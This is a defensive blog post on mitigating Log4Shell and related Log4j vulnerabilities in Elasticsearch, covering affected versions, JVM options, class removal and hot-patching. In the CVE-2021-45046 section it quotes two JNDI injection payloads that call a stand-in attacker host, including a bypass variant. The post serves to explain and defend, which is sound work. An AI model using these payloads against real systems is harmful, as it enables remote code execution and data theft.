Mitigate Log4j / Log4Shell in Elasticsearch (CVE-2021-44228)

What Is Log4Shell? #

Extending on the official Elastic security advisory, this post dives into the details for Elasticsearch on multiple platforms and versions for Log4Shell. Logstash and the Elastic APM Java Agent are also affected but aren’t part of this post.

CVE-2021-44228 #

The Log4j2 security issue (CVE-2021-44228), also called Log4Shell, affecting version 2.0-beta9 to 2.12.1 and 2.13.0 to 2.14.1 of the logging library, is bad. A Remote Code Execution (RCE) with a straight 10 out of 10 on the Common Vulnerability Scoring System — exploiting it is straight forward. If you need Java 7 support, Log4j 2.12.4 is the version you want to use. For Java 8 and above it is fixed in 2.15.0 2.16.0, but you should update straight to Log4j 2.17.1.

It is also complicated to fully assess the risk of an application since including a vulnerable version of the library isn’t enough to make it exploitable, and various scanners will report false positives:

• There is the JVM option log4j2.formatMsgNoLookups=true that can mitigate the issue after a restart, which is the default behavior in the patched Log4j 2.15.0 version. You want this setting to stop your log messages from being evaluated to block this attack. However, that option is only available for versions ≥ 2.10 and cannot be used for earlier builds.
• JDK versions from 6u211, 7u201, 8u191, and 11.0.1 are protecting against the LDAP attack vector through setting com.sun.jndi.ldap.object.trustURLCodebase=false according to this blog post (translated from Chinese). Though there are other examples (1, 2, 3, 4) using com.sun.jndi.ldap.object.trustSerialData and com.sun.jndi.rmi.object.trustURLCodebase, so you shouldn’t rely on the JDK version alone. It might stop the initial wave, but it’s only a matter of time until someone finds a clever gadget to work around it.
• The last resort would be to remove the JndiLookup class from the classpath.

CVE-2021-45046 #

In the wake of the initial security issue, Log4j 2.15.0 was found incomplete (CVE-2021-45046) to fix the problem. To exploit this issue, an application needs to use a non-default pattern layout (or let an attacker control it) with a context lookup. An example for the pattern would be appender.console.layout.pattern = ${ctx:tainted} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n with the following lookup where the attacker provides the TAINTED context message:

ThreadContext.put("tainted", TAINTED);
logger.error("My log message with tainted context...");

The vulnerability score of 3.7 (limited Denial of Service) was later updated to 9.0 (limited RCE). Instead of exploiting it with ${jndi:ldap://attacker.com:1389/a}, an attacker could use ${jndi:ldap://127.0.0.1#attacker.com:1389/a}. In short, don’t use 2.15.0 either. You can mitigate this vulnerability by removing the JndiLookup class from the classpath like the first vulnerability or upgrading to 2.16.0 or 2.12.2.

CVE-2021-45105 #

However, after even more research, another vulnerability was found in Log4j 2.16.0 (CVE-2021-45105). Again, it requires a non-default pattern layout with a context lookup to trigger a Denial of Service attack with a score of 5.9. You can mitigate this vulnerability by upgrading to 2.17.0 or 2.12.3.

To close this attack vector for good, Log4j 2.17.0 changed recursive substitution within lookups to the following:

Recursive evaluation is allowed while parsing the configuration (no user-input/LogEvent data is present, and configuration breaks are to be avoided) however when log-events themselves are being evaluated we never recursively evaluate substitutions.

CVE-2021-44832 #

Finally, an RCE via the JDBC Appender when an attacker controls the configuration was discovered in Log4j 2.17.0 (CVE-2021-44832) by Checkmarx. While RCE sounds bad again, the scope is limited — if an attacker can modify your Log4j configuration file, they probably already own your application or host anyway. The score of this vulnerability is 6.6, and you can mitigate it by upgrading to Log4j 2.17.1 or 2.12.4.

What Does that Mean for Elasticsearch? #

All releases of Elasticsearch 5.0 to 7.16.0 are using a vulnerable Log4j2 version — see below for “What Version of Log4j Is Elasticsearch Using?”.

But it is not an RCE on Elasticsearch 7.x and 6.x thanks to the Java Security Manager initially introduced with Elasticsearch 2.0 for all distributions. The Security Manager has saved our bacon 🥓 once again by having a security.policy file that strictly limits SocketPermission and only grants it in a couple of places like Netty, our networking library. Loading data or remote code is not possible from the logging library — which generally makes sense and pays off now.
If you want to learn more about this topic, my colleague Alex has written a deep dive into the Java Security Manager.

There is still the potential risk of an information leak through DNS, since this is globally allowed. However, there are two limitations:

• The JVM version mitigates the risk since we have been unable to reproduce the leakage on JDK 9 or above that disallows accessClassInPackage.com.sun.jndi.url.ldap. This assessment still holds even after finding additional attack vectors since the Security Manager cuts off the attacks earlier by never opening an LDAP connection. That applies to clever tricks like omitting the closing brace } for both remote and local (on the classpath) variants. See below for “What Version of the JVM is Elasticsearch Using?”.
• The leak cannot expose the Elasticsearch data but only what is readable through Log4j2 lookups like environment variables and a limited set of environmental data from other sources. Exposing information could be a concern if you set your AWS secrets as an environment variable — which you shouldn’t need on an Elasticsearch server.

Elasticsearch 5.x is susceptible to both RCE and information leak, and you need to urgently work on a mitigation path. Unfortunately, the Security Manager rules for 5.x were not as strict as they are since 6.0. For ≥ 5.6.11 you can use log4j2.formatMsgNoLookups=true as a fix. In earlier versions, you need to remove the JNDILookup class.

The follow-up vulnerabilities number two (CVE-2021-45046) and three (CVE-2021-45105), requiring a non-default pattern layout and context lookup, do not apply to Elasticsearch since it doesn’t use such patterns, and Elasticsearch’s own PatternConverter implementation is not affected on the lookup side.

The fourth vulnerability (CVE-2021-44832) uses a different attack vector that could apply to Elasticsearch in theory:

• The attack doesn’t use JndiLookup but interfaces directly with JNDI.
• It’s not a lookup, so the system property log4j2.formatMsgNoLookups=true doesn’t apply.
• The Java Security Manager is installed after Log4j is configured, so it cannot protect you against malicious configurations.

But the precondition is that you can write to configuration files; then, you are already an admin on the system. So this doesn’t add a new attack vector in practice.

Putting all of this information together with a focus on the initial vulnerability (CVE-2021-44228), since the others don’t apply to Elasticsearch. But if you want to get into the clear with your security scanner and team, you will want to update to ≥ 7.16.3 or ≥ 6.8.23 with the fully patched Log4j:

⁰ See “What Version of Log4j Is Elasticsearch Using?”
¹ See “What Version of the JVM is Elasticsearch Using?”
² Optionally, set log4j2.formatMsgNoLookups=true for an additional layer of protection.

A final note about using a firewall, only binding to localhost (the default in Elasticsearch), or using an “unknown” endpoint like in Elastic Cloud: This setup will not protect you if your application passes unsanitized strings to Elasticsearch, where those strings could then be logged.

What Should I Do Now? #

To be on the safe side, upgrade to Elasticsearch ≥ 7.16.3 or ≥ 6.8.23. These versions upgraded Log4j to 2.17.0 in 7.16.2 and 6.8.22 and then 2.17.1 in 7.16.3 and 6.8.23. In addition, the JndiLookup class is excluded in the build to avoid any unnecessary risks around it, which has been very effective against both the initial and the follow-up vulnerabilities (excluding the fourth one). It’s only a few lines in a Gradle build:

def patchLog4j = tasks.register('patchLog4j', Zip) {
  archiveExtension = 'jar'
  from({ zipTree(configurations.log4j.singleFile) }) {
    exclude '**/JndiLookup.class'
  }
}

If you had already upgraded to Elasticsearch 7.16.1 or 6.8.21, you are also protected against the four vulnerabilities. These versions set -Dlog4j2.formatMsgNoLookups=true in the JVM options and remove the JndiLookup class, which cover the practical vulnerabilities in the context of Elasticsearch; even if your security scanner or team still flags it as an insecure version.

If you cannot upgrade, you should apply the JVM option log4j2.formatMsgNoLookups=true on Elasticsearch ≥ 6.4.0 or ≥ 5.6.11 for an additional layer of protection — “What Version of Log4j Is Elasticsearch Using?” below explains why. As soon as possible if you’re using a JDK before 9 — “What Version of the JVM is Elasticsearch Using?” has more details on that. The JVM option protects against remote code execution and information leak in the context of Elasticsearch.

If you cannot upgrade and are using Elasticsearch 5.0.0 – 5.6.10 or 6.0.0 – 6.3.2, you need to remove the JndiLookup class. Urgently on 5.x and as soon as possible if you are using 6.x with JDK before 9 — “What Version of the JVM is Elasticsearch Using?” has more details on that. Removing the class protects against remote code execution and information leak in the context of Elasticsearch.

How Can I Apply the JVM Setting on Older Versions? #

log4j2.formatMsgNoLookups=true works on Elasticsearch installations ≥ 6.4.0 or ≥ 5.6.11.

But before applying the setting, how can you validate that the setting has been applied? The request curl -XGET "http://localhost:9200/_nodes/?filter_path=nodes.*.name,nodes.*.jvm.input_arguments&pretty" or GET _nodes/?filter_path=nodes.*.name,nodes.*.jvm.input_arguments in Kibana’s Console includes an array of input_arguments for every node. log4j2.formatMsgNoLookups=true must be set on each node and applied through a restart to do its job.

For more details than the following examples cover, read the documentation on setting JVM options.

ZIP (macOS) #

Start Elasticsearch from the base folder of the unpacked TAR.GZ:

> ES_JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" ./bin/elasticsearch

Or use a permanent solution similar to the next one by adding a file to config/jvm.options.d/.

Linux Service (Ubuntu) #

Don’t edit /etc/elasticsearch/jvm.options directly, since it might get overwritten by an update. Instead, create a file in /etc/elasticsearch/jvm.options.d/. For example /etc/elasticsearch/jvm.options.d/log4j2.options with the following content and then restart the Elasticsearch service:

# CVE-2021-44228
-Dlog4j2.formatMsgNoLookups=true

Docker #

Minimal example to set ES_JAVA_OPTS as an environment variable:

> docker run \
    --publish 127.0.0.1:9200:9200 \
    --env ES_JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" \
    --env discovery.type=single-node \
    --volume='elasticsearch:/usr/share/elasticsearch/data' \
    docker.elastic.co/elasticsearch/elasticsearch:7.16.0

Alternatively you could bind-mount a custom JVM options file into /usr/share/elasticsearch/config/jvm.options.d/ similar to the Ubuntu example above.

Kubernetes with ECK #

Minimal example to customize the podTemplate with ES_JAVA_OPTS:

apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
metadata:
  name: quickstart
spec:
  version: 7.16.0
  nodeSets:
  - name: default
    count: 1
    podTemplate:
      spec:
        containers:
          - name: elasticsearch
            env:
              - name: ES_JAVA_OPTS
                value: "-Dlog4j2.formatMsgNoLookups=true"

ECK 1.9.1 sets the JVM option for Elasticsearch < 7.2.0 automatically.

What Should I Do if I’m Stuck on an Ancient Version? #

If you’re using 5.0.0 – 5.6.10 or 6.0.0 – 6.3.2 you’re down to workarounds. The following example uses 6.0.0 but works with any of the listed versions. And you should make a plan to move to a supported version of Elasticsearch after applying the fix.

This approach is the official recommendation to remove the JndiLookup class. In the lib/ folder of Elasticsearch, you have the following Log4j JARs:

> ll lib/log4j*
log4j-1.2-api-2.9.1.jar
log4j-api-2.9.1.jar
log4j-core-2.9.1.jar

log4j-core-2.9.1.jar is what you’re after, and the version is below 2.10, so log4j2.formatMsgNoLookups=true is not an option. You can explore the JAR with vi: vi lib/log4j-core-2.9.1.jar. Among many other classes, the problematic JndiLookup.class is there:

...
org/apache/logging/log4j/core/LifeCycle.class
org/apache/logging/log4j/core/lookup/AbstractLookup.class
org/apache/logging/log4j/core/lookup/JndiLookup.class
org/apache/logging/log4j/core/lookup/StrMatcher$CharMatcher.class
org/apache/logging/log4j/core/lookup/SystemPropertiesLookup.class
...

Remove the JndiLookup class with the command:

> zip -d lib/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

In the output, you should see deleting: org/apache/logging/log4j/core/lookup/JndiLookup.class, and you can ignore any zip warning: Local Version Needed To Extract does not match CD:. You will get a zip error: Nothing to do! if you rerun the command.

You can verify the removal with jar tvf lib/log4j-core-*.jar | grep -i JndiLookup, which doesn’t have any output if you were successful. You have to apply this workaround on every Elasticsearch node and restart it afterward.

Alternatively, you could replace the Log4j JARs with those bundled in Elasticsearch 7.16.1 using Log4j 2.11.1 with the JndiLookup class removed. Then you could also set the JVM option log4j2.formatMsgNoLookups=true. While not officially supported, this has been reported to work by multiple people.
Dropping the 2.17.1 JARs, for example from 7.16.3, into Elasticsearch 7.0.0 – 7.16.1 will run into errors — don’t try that.

Can I Fix the Issue without Upgrade and Restart? #

Yes, thanks to Volker Simonis and the Corretto Log4jHotPatch. This is a runtime fix, and must be applied after every Elasticsearch start on every node. It should work on any Elasticsearch version from 5.0.0 to 7.16.0, but it is not officially tested or recommended.

Nevertheless, here is a quick run-through to show it. You must use at least version 1.2 of Log4jHotPatch since earlier versions didn’t work with the Security Manager:

1. Get the code: git clone https://github.com/corretto/hotpatch-for-apache-log4j2.git
2. Build the JAR — presuming that you have Gradle installed and the same version of the JDK that Elasticsearch is using: gradle build
3. Get the user under which Elasticsearch is running (the first element in the result, philipp here) and process ID (second element, 39970):

   > ps aux | grep elasticsearch
   philipp          39970 211.6 19.0 12182448 3183472 s009  R+    4:57PM   0:31.69 /Users/philipp/.sdkman/candidates/java/current//bin/java -Xshare:auto ...
   

4. Hot-patch the running process 39970 — you must run this under the same user as Elasticsearch:

   > java -cp $JAVA_HOME/lib/tools.jar:./build/libs/Log4jHotPatch.jar Log4jHotPatch 39970
   Successfully loaded the agent into JVM process 39970
     Look at stdout of JVM process 39970 for more information
   

5. In the Elasticsearch log, you will find:

   Loading Java Agent version 1 (using ASM8).
   Patching class org.apache.logging.log4j.core.lookup.JndiLookup (sun.misc.Launcher$AppClassLoader@33909752)
   Transforming org/apache/logging/log4j/core/lookup/JndiLookup (sun.misc.Launcher$AppClassLoader@33909752)
   

6. You are done. Until the next restart of Elasticsearch…

What Version of Log4j Is Elasticsearch Using? #

Any version of Elasticsearch from August 2018 (Elasticsearch 6.4.0 / 5.6.11) to early December 2021 (7.16.0 / 6.8.20), so the past three years, has used Log4j 2.11.1. Note that the file was moved from 7.13 to 7.14, which makes tracking the full history a bit more complicated.

There has been a long-standing pull request to upgrade Log4j, which ran into permission issues with Elasticsearch’s use of the Java Security Manager: java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "getClassLoader")
So while the Security Manager can make things more complicated, it stopped the remote code execution part about this vulnerability, which feels like a reasonable tradeoff. Also, the version in this upgrade would have been just as vulnerable, so it would not have made a difference for the current security issue.

A new pull request to move to Log4j 2.17.0 and then another one to Log4j 2.17.1 have been merged for 7.16 and 6.8. It doesn’t fix any practical security issues over the secured Log4j 2.11.1 in 7.16.1 and 6.8.21 in the context of Elasticsearch. But it makes the discussion about false positives from automated scanners and security teams a lot simpler.

The releases before August 2018 are using Log4j 2.9.1, which means Elasticsearch 6.3.2 / 5.6.10 and earlier. These versions cannot use the log4j2.formatMsgNoLookups=true mitigation, since that option was only added later.

Elasticsearch 5.0 was released with version 2.6.2.

Earlier versions of Elasticsearch have been using Log4j 1.x, which is not vulnerable to this attack, but is not supported any more and includes other security issues; the recommended upgrade path is to move to Log4j 2.x or another logger. There’s also a fork called reload4j as a drop-in replacement for Log4j 1.2.17 to fix the open security issues.

What Version of the JVM is Elasticsearch Using? #

By default, from Elasticsearch 7.0.0 on the JVM is bundled with the download. Under the following conditions, you need to check your custom JVM version:

• You are using a version before 7.0.0 (including any 6.x version).
• You are using the binary that doesn’t include the JDK.
• You are setting a custom ES_JAVA_HOME (or JAVA_HOME in earlier 7.x versions).

You can use curl -XGET "http://localhost:9200/_nodes/?filter_path=nodes.*.name,nodes.*.jvm.input_arguments&pretty" or GET _nodes/?filter_path=nodes.*.name,nodes.*.jvm.input_arguments in Kibana’s Console again to check the JVM version from the Elasticsearch API. Part of the response will show something like this (from 7.16.0 on Elastic Cloud):

"jvm" : {
  "pid" : 268,
  "version" : "17.0.1",
  "vm_name" : "OpenJDK 64-Bit Server VM",
  "vm_version" : "17.0.1+12",
  "vm_vendor" : "Eclipse Adoptium",
  "bundled_jdk" : true,
  "using_bundled_jdk" : true,

Elasticsearch upgrades the bundled JDK version frequently; for example, 7.16 is using JDK 17.0.1+12. But even 7.0.0 was on JDK 12+33, so no bundled JDK from 7.0.0 on has used the vulnerable JVM settings.

However, there are two caveats:

• Elastic Cloud used an older JDK before Elasticsearch 7.2. It is recommended to do a “no downtime restart” on any such cluster as soon as possible, which will automatically apply the log4j2.formatMsgNoLookups=true mitigation. Example for the JVM version with Elasticsearch 7.1.0 auf Elastic Cloud:

  "jvm" : {
    "pid" : 611,
    "version" : "1.8.0_144",
    "vm_name" : "Java HotSpot(TM) 64-Bit Server VM",
    "vm_version" : "25.144-b01",
    "vm_vendor" : "Oracle Corporation",
    "bundled_jdk" : true,
    "using_bundled_jdk" : false,
  

  And an upgrade is just a click away as well to be extra safe.
• The Elasticsearch Docker images have always bundled a JDK. As of Elasticsearch 6.6.0, these images have been in the Elasticsearch repository and used at least JDK 11.0.1. Older versions require an archeological trip to a now archived repository. The change from 1.8 to JDK 10 (we seem to have never shipped images with JDK 9) happened with the release of the Elasticsearch 5.4.0 image. If you are still using Docker images before 5.4.0 you should seriously consider upgrading.

Isn’t the Java Security Manager Deprecated? #

Yes. The Java Security Manager has been deprecated in JDK17 and will be a no-op in JDK18 — for details see JEP 411.

If Log4Shell has shown anything, then it is the value of having a sandbox concept in your application. Why should your logging library be able to make network calls after all? And concepts like SELinux or seccomp are part of the bigger picture but are too blunt for this specific requirement. Here is a Twitter discussion with some people who have spent a lot of time securing Java applications like Elasticsearch.

While we would rather not be in that situation, the Elasticsearch team is already working on new security mechanisms.

Can I Do Anything Else to Protect Elasticsearch? #

Additional layers of security increase your chance of mitigating this attack in part or even in full. Some of those layers could be:

• Sanitizing inputs: For example, with a Web Application Firewall (WAF), though it adds potential performance issues or the risk of false positives. And clever attackers can often find permutations of an attack vector that aren’t detected.
• Incoming firewall rules: Limiting access to Elasticsearch and your application as much as feasible for the use-case like internal applications.
• Outgoing firewall rules: Your Elasticsearch nodes only need network access to a limited set of endpoints like the other nodes in an Elasticsearch cluster, its snapshot repository, your application, other pieces of the Elastic Stack, and to download necessary binaries (this could even be limited to the time of installation and upgrades).

Elasticsearch is doing its part by always shipping a current version of the JVM, using the Java Security Manager, using seccomp, not allowing to run as root, or enabling security by default in 8.0.

Can I Use a Smart Hack? #

Please, don’t. The guidelines above should cover all situations and are officially tested. This list is not exhaustive, but it includes things I have seen and do not recommend.

No Logs, no Problems? #

Turn off all the logging — no more security issue, right? In Elasticsearch, you can change the log levels through the API for specific packages or even globally for _root:

PUT _cluster/settings
{
  "persistent": {
    "logger._root": "OFF"
  }
}

There are plenty of situations where logs provide value, for example, when your cluster is unhappy or someone tries to exploit it. You don’t want to fly blind — please use one of the official solutions instead, even if this one sounds clever at first.

YOLO the JARs? #

Don’t drop the Log4j 2.17.1 JARs into Elasticsearch ≤ 7.16.1 or ≤ 6.8.22. Otherwise 7.x throws an exception on startup: java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "getClassLoader"). We have seen this problem with the initial pull request to update Log4j from 2.11.1 to 2.14.0. Upgrading the Log4j version in combination with the strict Java Security Manager settings requires more changes that we have only added in 7.16.2 and 6.8.22.
On 6.x and later 5.x versions, Elasticsearch starts but might run into issues later on — this combination is not recommended or tested. Also, early 5.x versions will fail with Exception in thread "main" java.lang.NoSuchMethodError: org.apache.logging.log4j.core.config.properties.PropertiesConfigurationFactory.getConfiguration(Ljava/lang/String;Ljava/net/URI;)Lorg/apache/logging/log4j/core/config/Configuration.

Changelog #

Since the situation and the Elastic response keep evolving, additions and corrections over time.

2021-01-17 #

• Elasticsearch 7.16.3 and 6.8.23
• reload4j added

2021-12-30 #

• CVE-2021-44832 explanation improved thanks to feedback from my colleague Tim Vernum

2021-12-30 #

• CVE-2021-44832 in Log4j 2.17.0 added and replaced with 2.17.1 where applicable
• Removal of the JndiLookup class in all recent builds explicitly added

2021-12-23 #

• Log4j 2.12.3 added

2021-12-22 #

• Explain the pattern layout vulnerability better and why it doesn’t apply
• Section on “smart hacks” added

2021-12-20 #

• Overview table covering Elasticsearch and JDK versions

2021-12-19 #

• New Elasticsearch 7.16.2 and 6.18.22 releases with Log4j 2.17.0 added
• CVE-2021-45105 in Log4j 2.16.0 added and replaced with 2.17.0 where applicable
• CVE-2021-45046 in Log4j 2.15.0 updated

2021-12-17 #

• Automated mitigation in ECK 1.9.1 added

2021-12-16 #

• CVE-2021-45046 in Log4j 2.15.0 added
• Workaround for ancient versions added
• Hotfix with Log4jHotPatch added
• PR for moving to Log4j 2.16.0 added
• Warning not to drop the Log4j 2.16.0 JARs into a current installation added

2021-12-15 #

• Vulnerable JVM settings added

2021-12-13 #

• Initial version